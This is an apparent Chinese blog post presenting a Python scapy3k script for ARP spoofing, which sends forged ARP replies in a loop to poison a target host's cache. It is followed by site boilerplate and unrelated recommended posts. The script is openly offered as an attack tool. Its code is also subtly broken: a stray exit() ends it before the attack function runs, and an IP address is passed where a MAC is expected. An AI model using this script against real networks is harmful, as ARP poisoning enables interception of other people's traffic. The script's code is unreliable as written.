python arp 攻防

借助scapy arp

#编写攻击的脚本: Ether是构造网络数据包 ARP进行ARP攻击 sendp进行发包
import os
import sys

from scapy3k.layers.l2 import getmacbyip
from scapy3k.all import (Ether,ARP,sendp)
#执行查看IP的命令
ifconfig=os.system('ifconfig')
print(ifconfig)
gmac=input('Please enter gateway IP:')
liusheng=input('Please enter your IP:')
liusrc=input('Please enter target IP:')
try:
    #获取目标的mac
    tg=getmacbyip(liusrc)
    print(tg)
except Exception as f:
    print('[-]{}'.format(f))
exit()
def arpspoof():
    try:
        eth=Ether()
        arp=ARP(
            op="is-at", #arp响应
            hwsrc=gmac, #网关mac
            psrc=liusheng,#网关IP
            hwdst=tg,#目标Mac
            pdst=liusrc#目标IP
        )
        #对配置进行输出
        print ((eth/arp).show())
        #开始发包
        sendp(eth/arp,inter=2,loop=1)
    except Exception as g:
        print('[-]{}'.format(g))
    exit()

arpspoof()


# from scapy3k.all import *
#
# p = IP(dst = 'www.somesite.ex') / TCP(dport = 80) / Raw(b'Some raw bytes')
# # to see packet content as bytes use bytes(p) not str(p)
# sr1(p)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 图片版权归本人所有,图片授权于简书用于设置为app开屏图,一切版权纠纷与简书无关。
    阿蕾姑娘阅读 172评论 0 3
  • 今天儿子参加专业技能测试。祝福儿子各个环节都操作顺利! 感赏儿子这一段时间的认真准备,看着儿子胸有成竹的样子,我很...
    爱与感赏阅读 183评论 0 0
  • ——题记——写在七夕 今夜没有星星 说来汗颜 我还从没看到过牛郎织女相会 天气也有些燠热 出差也好,旅行也罢 反正...
    清勇卢追阅读 183评论 0 1